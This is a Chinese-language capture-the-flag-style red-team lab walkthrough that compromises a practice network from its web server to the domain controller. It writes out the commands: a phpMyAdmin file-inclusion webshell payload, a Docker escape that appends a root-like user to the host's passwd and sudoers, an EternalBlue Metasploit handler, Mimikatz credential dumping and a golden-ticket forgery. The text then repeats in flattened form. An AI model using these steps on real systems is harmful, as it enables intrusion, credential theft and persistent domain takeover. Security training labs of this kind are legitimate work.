ATT&CK红队评估四
字数 1769 2025-08-18 17:33:23

ATT&CK红队评估四实战教学文档

0x01 靶场环境概述

目标:获得所有主机包括域控的控制权限

环境配置

  • Web机:Ubuntu系统
    • IP地址:192.168.111.145(外网)
    • 内网IP:192.168.183.128
  • 内网主机:Windows 7系统

0x02 外网信息收集与打点

端口扫描发现

扫描发现三个Web服务端口:

  1. 2001端口:文件上传功能点,可能存在Struts2多版本漏洞
  2. 2002端口:Tomcat初始界面
  3. 2003端口:phpMyAdmin 4.8.1(存在任意文件上传漏洞)

漏洞利用方法

1. Struts2漏洞利用

  • 工具检测:使用专用工具检测存在漏洞,可执行命令
  • 利用方式:直接执行系统命令

2. Tomcat文件上传漏洞

  • 漏洞利用:使用PUT方法上传JSP木马
  • 验证方法:访问上传的JSP文件(如21.jsp)测试命令执行

3. phpMyAdmin远程文件包含

  • 漏洞利用步骤
    • 任意文件读取:index.php?target=db_sql.php%253f/etc/passwd#/
    • 执行SQL写入PHP代码:
      select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]"
      
    • 利用session写入shell:
      • 日志路径:/tmp/sess_+phpMyAdmin的cookie值
      • 包含日志执行:?target=db_sql.php%253f/tmp/sess_14afd9352fa03b2c14b10c54b396478e#/

0x03 反弹Shell与Docker逃逸

反弹Shell

  • 使用Struts2漏洞执行反弹命令
  • Kali监听端口:7778
  • 成功获取反向Shell连接

Docker逃逸技术

  1. 检测容器环境

    • fdisk -l无输出 → 容器环境
    • 检查特权容器:cat /proc/1/status | grep Cap
  2. 特权容器逃逸

    • 查看硬盘信息:fdisk -l
    • 挂载宿主机硬盘:
      mkdir xjy
      mount /dev/sda5 xjy/
      
    • 添加用户到宿主机:
      • 生成密码hash:perl -le 'print crypt("123456","addedsalt")'
      • 添加用户:echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd
  3. SSH免密登录

    • 生成密钥对:ssh-keygen
    • 将公钥写入目标机authorized_keys
    • 设置权限:chmod 600 authorized_keys

0x04 提权操作

  • 修改宿主机sudoers文件:
    echo "abc ALL=(ALL:ALL) ALL" >> /xjy/etc/sudoers
    
  • 验证提权:执行sudo命令

0x05 内网信息收集

网络发现

  • 发现内网网段:192.168.183.0/24
  • 使用fscan扫描存活主机:
    • 192.168.183.130(开放445端口)
    • 192.168.183.131(开放445端口)
    • 检测到永恒之蓝漏洞(MS17-010)

0x06 横向移动

永恒之蓝利用

  1. MSF设置监听:
    use exploit/multi/handler
    set payload cmd/unix/reverse_bash
    set lhost 0.0.0.0
    run
    
  2. 升级会话:sessions -u [ID]

凭证获取

  • 使用kiwi模块读取密码:creds_all
  • 获取NTLM哈希和明文密码

远程桌面开启

  • 通过永恒之蓝获取的system权限开启RDP
  • 添加用户:
    net user xilitter Password123 /add
    net localgroup administrators xilitter /add
    

0x07 权限维持(黄金票据)

黄金票据制作条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账户密码HASH
  4. 伪造用户名(任意)

具体步骤

  1. 获取域信息

    • 域名称:DEMO
    • 使用Mimikatz获取krbtgt的NTLM-Hash和SID:
      lsadump::dcsync /user:krbtgt
      
    • 获取结果:
      • SID: S-1-5-21-979886063-1111900045-1414766810-502
      • NTLM HASH: 7c4ed692473d4b4344c3ba01c5e6cb63
  2. 生成黄金票据

    kerberos::purge  # 清除现有票据
    kerberos::golden /admin:administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810-502 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
    
  3. 导入票据

    kerberos::ptt ticket.kirbi
    
    • 验证:使用dir \\dc-name\c$测试访问权限

0x08 总结

本实战演练涵盖了完整的红队攻击链:

  1. 外网信息收集与漏洞利用
  2. 初始访问与权限提升
  3. 内网横向移动
  4. 域控攻陷
  5. 权限维持技术

关键点

  • 多漏洞组合利用(Struts2、Tomcat、phpMyAdmin)
  • Docker逃逸技术
  • 永恒之蓝漏洞利用
  • 黄金票据制作与Kerberos协议滥用
  • 凭证获取与横向移动技术
ATT&CK红队评估四实战教学文档 0x01 靶场环境概述 目标 :获得所有主机包括域控的控制权限 环境配置 : Web机:Ubuntu系统 IP地址:192.168.111.145(外网) 内网IP:192.168.183.128 内网主机:Windows 7系统 0x02 外网信息收集与打点 端口扫描发现 扫描发现三个Web服务端口: 2001端口 :文件上传功能点,可能存在Struts2多版本漏洞 2002端口 :Tomcat初始界面 2003端口 :phpMyAdmin 4.8.1(存在任意文件上传漏洞) 漏洞利用方法 1. Struts2漏洞利用 工具检测 :使用专用工具检测存在漏洞,可执行命令 利用方式 :直接执行系统命令 2. Tomcat文件上传漏洞 漏洞利用 :使用PUT方法上传JSP木马 验证方法 :访问上传的JSP文件(如21.jsp)测试命令执行 3. phpMyAdmin远程文件包含 漏洞利用步骤 : 任意文件读取: index.php?target=db_sql.php%253f/etc/passwd#/ 执行SQL写入PHP代码: 利用session写入shell: 日志路径: /tmp/sess_+phpMyAdmin的cookie值 包含日志执行: ?target=db_sql.php%253f/tmp/sess_14afd9352fa03b2c14b10c54b396478e#/ 0x03 反弹Shell与Docker逃逸 反弹Shell 使用Struts2漏洞执行反弹命令 Kali监听端口:7778 成功获取反向Shell连接 Docker逃逸技术 检测容器环境 : fdisk -l 无输出 → 容器环境 检查特权容器: cat /proc/1/status | grep Cap 特权容器逃逸 : 查看硬盘信息: fdisk -l 挂载宿主机硬盘: 添加用户到宿主机: 生成密码hash: perl -le 'print crypt("123456","addedsalt")' 添加用户: echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd SSH免密登录 : 生成密钥对: ssh-keygen 将公钥写入目标机 authorized_keys 设置权限: chmod 600 authorized_keys 0x04 提权操作 修改宿主机sudoers文件: 验证提权:执行 sudo 命令 0x05 内网信息收集 网络发现 发现内网网段:192.168.183.0/24 使用fscan扫描存活主机: 192.168.183.130(开放445端口) 192.168.183.131(开放445端口) 检测到永恒之蓝漏洞(MS17-010) 0x06 横向移动 永恒之蓝利用 MSF设置监听: 升级会话: sessions -u [ID] 凭证获取 使用kiwi模块读取密码: creds_all 获取NTLM哈希和明文密码 远程桌面开启 通过永恒之蓝获取的system权限开启RDP 添加用户: 0x07 权限维持(黄金票据) 黄金票据制作条件 域名称 域的SID值 域的KRBTGT账户密码HASH 伪造用户名(任意) 具体步骤 获取域信息 : 域名称:DEMO 使用Mimikatz获取krbtgt的NTLM-Hash和SID: 获取结果: SID: S-1-5-21-979886063-1111900045-1414766810-502 NTLM HASH: 7c4ed692473d4b4344c3ba01c5e6cb63 生成黄金票据 : 导入票据 : 验证:使用 dir \\dc-name\c$ 测试访问权限 0x08 总结 本实战演练涵盖了完整的红队攻击链: 外网信息收集与漏洞利用 初始访问与权限提升 内网横向移动 域控攻陷 权限维持技术 关键点 : 多漏洞组合利用(Struts2、Tomcat、phpMyAdmin) Docker逃逸技术 永恒之蓝漏洞利用 黄金票据制作与Kerberos协议滥用 凭证获取与横向移动技术